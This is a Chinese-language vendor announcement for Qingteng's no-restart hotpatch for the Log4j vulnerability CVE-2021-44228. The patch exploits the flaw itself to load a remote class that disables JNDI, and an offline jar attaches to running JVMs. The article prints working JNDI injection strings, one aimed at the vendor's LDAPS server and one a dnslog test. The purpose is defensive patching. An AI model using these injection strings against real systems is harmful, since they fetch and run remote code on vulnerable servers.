利用漏洞修復漏洞:青藤提供的「Log4j命令注入漏洞(CVE-2021-44228)」【免重啟】線上熱補丁服務現已上線!

Editor發表於2021-12-14

史詩級的漏洞CVE-2021-44228爆發以來,各安全廠商提供了各種漏洞檢測工具,也提供了各種漏洞修復方案。但是在修復過程中遇到無盡的坑,比如更新版本需要重啟服務也不見得那麼方便,改程式碼需要一定週期,臨時修復方法錯誤(系統環境變數未生效),Log4j 2.0-2.10版本無臨時修復方案,jdk升級高版本存在bypass且仍然可以造成資訊洩露等。


鑑於以上問題,青藤推出線上&離線臨時修復方案,幫助大家迅速修復漏洞,度過“修改程式碼->測試->上線正式升級版本”這段時間差,避免發生實際損失。


Log4jPatch原理


Log4jPatch 利用本次 Log4j 漏洞本身的任意程式碼執行能力,將 Payload 注入到目標 Java 程式中,通過反射呼叫,禁用了 Log4j 對 jndi 的支援,使得後續對該漏洞的利用無效,完成漏洞修復,總而言之,就是利用漏洞把漏洞補上。


Log4jPatch造成的影響


1. Log4j無法使用jndi,如果Log4j業務使用了jndi那麼就會受到影響(這樣的程式設計師就應該被安全工程師吊起來打)。

2. 由於注入到目標 Java 程式中的 Payload 極小(<1.6KB),且變更邏輯簡單,對於擔心jvm記憶體的使用者來說請放心。等您進行程式碼級別的修復之後,只需要重啟服務patch就不會再駐留在記憶體中。


Log4jPatch修復方法

1. 如何使用青藤的Log4jPatch線上補丁服務 


1.1 修復人員在漏洞注入點(如使用者名稱、搜尋框、前端站點表單欄位等等漏洞的觸發點,不需要提供給青藤),把注入payload修改為:${jndi:ldaps://cve-2021-44228.qingteng.cn:8443/patch}。


1.2 存在漏洞的業務會到cve-2021-44228.qingteng.cn去遠端載入class檔案,把jvm虛擬機器中的jndi給禁用。


1.3 修復驗證:按照之前查詢驗證存在漏洞的方式進行測試,比如${jndi:ldap:xxxxx.dnslog.xxcnxx/exp},漏洞驗證不成功則說明漏洞修復成功。


利用漏洞修復漏洞:青藤提供的「Log4j命令注入漏洞(CVE-2021-44228)」【免重啟】線上熱補丁服務現已上線!

驗證demo

 

利用漏洞修復漏洞:青藤提供的「Log4j命令注入漏洞(CVE-2021-44228)」【免重啟】線上熱補丁服務現已上線!

patch前後效果對比


patch前,利用漏洞訪問 1.5gwpt7.dnslog.cn 成功;patch後,利用漏洞訪問 2.5gwpt7.dnslog.cn 失敗;手動訪問 curl 3.5gwpt7.dnslog.cn 成功,證明 dnslog 有效(附時間戳證明連續性)。

 

2. 如果業務無法訪問網際網路服務,還可以使用青藤提供的離線jar包進行熱修復


jar包修復原理:利用 JVM 提供的 Instrumentation API來更改載入到 JVM 中的現有位元組碼,https://docs.oracle.com/javase/6/docs/api/java/lang/instrument/Instrumentation.html。在不重啟Java程式的情況下,修改org.apache.logging.log4j.core.lookup.JndiLookup類的lookup方法,固定返回Patched JndiLookup::lookup()。


2.1  https://cve-2021-44228.qingteng.cn/patch/jar/cve-2021-44228-qingteng-patch.tar.gz地址下載Log4jPatch的jar包。


2.2  Log4jPatch的jar包上傳到存在漏洞的伺服器,然後執行命令。


Linux傳到伺服器,然後解壓,cd 進入到解壓後的cve-2021-44228-qingteng-patch目錄,參考 README.md,執行 attach.sh 。

利用漏洞修復漏洞:青藤提供的「Log4j命令注入漏洞(CVE-2021-44228)」【免重啟】線上熱補丁服務現已上線!

attach.sh例子

 

./attach.sh 不帶pid將使用jps列出此機器上所有java程式,然後輸入行號選擇程式來進行注入修復,輸入all將會注入所有列出的java程式。

 

可輸入多個,空格分割。
windows

雙擊 attach.bat, 然後輸入java程式pid
或者cmd命令列裡傳入pid,例如: attach.bat pid

2.3 離線的修復驗證:按照之前查詢驗證存在漏洞的方式進行測試,如:burpcollaborator進行驗證,漏洞驗證不成功則說明漏洞修復成功。

注意:使用以上兩種修復方式需要您擁有系統的所有權,並且理解修復的原理和方法。

 

FAQ

Q青藤怎麼保證修復方式安全可靠?

A

1.青藤完全不需要您提供業務的漏洞細節,這完全掌握您的手中,我們並不清楚也不需要具體的注入點;

2.原始碼開源,專案地址:

https://github.com/qingtengyun/cve-2021-44228-qingteng-online-patch 和https://github.com/qingtengyun/cve-2021-44228-qingteng-patch;

3.開源專案中提供了所用到的class檔案和jar包檔案的hash值;

4.到https://cve-2021-44228.qingteng.cn/patch/class/patch.class和https://cve-2021-44228.qingteng.cn/patch/jar/cve-2021-44228-qingteng-patch.tar.gz下載class檔案和jar包進行對比。

 

Q青藤patch修復之後就永久生效麼?

A只要不重啟服務,該方式可以一直生效,一旦您重啟了服務,需要再次對注入點打patch,直到程式碼級修復上線。

 

Q青藤提供的修復支援的java版本是多少?

A線上修復patch支援JDK版本6、7、8、9、10、11,離線修復的支援JDK版本6、7、8、9、10、11。

 

Q我不知道注入點在哪裡,但是引用了Log4j,能使用青藤的修復補丁麼?

A可以,使用離線jar包不需要提供注入點,只需要知道程式id。

 

Q我不知道我有沒有用Log4j,你能幫我看看麼?

A請看文章教你輕鬆清點:https://mp.weixin.qq.com/s/0cHryvkZUzp4KelF5twolg

相關文章